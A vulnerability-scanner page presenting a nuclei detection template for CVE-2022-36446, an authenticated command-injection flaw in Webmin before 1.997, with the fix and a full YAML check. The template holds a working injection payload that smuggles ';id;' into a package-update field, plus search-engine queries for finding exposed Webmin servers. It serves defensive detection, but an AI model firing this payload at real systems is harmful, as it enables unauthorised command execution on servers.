Webmin <1.997 - Authenticated Remote Code Execution

criticalseverity

9.8CVSS score

95.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.

Fix

Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.

How to confirm it

Send: POST /session_login.cgi ; POST /package-updates/update.cgi
Positive when: contains "{{randstr}}" and "uid" and "gid" and "groups" AND status 200

Run it with nuclei: nuclei -id CVE-2022-36446 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-36446

info:
  name: Webmin <1.997 - Authenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
  reference:
    - https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
    - https://www.exploit-db.com/exploits/50998
    - https://github.com/webmin/webmin/compare/1.996...1.997
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36446
    - http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36446
    cwe-id: CWE-116
    epss-score: 0.95947
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: webmin
    product: webmin
    shodan-query:
      - title:"Webmin"
      - http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2022,packetstorm,webmin,rce,authenticated,edb,vuln

http:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}
      - |
        POST /package-updates/update.cgi HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1

        mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from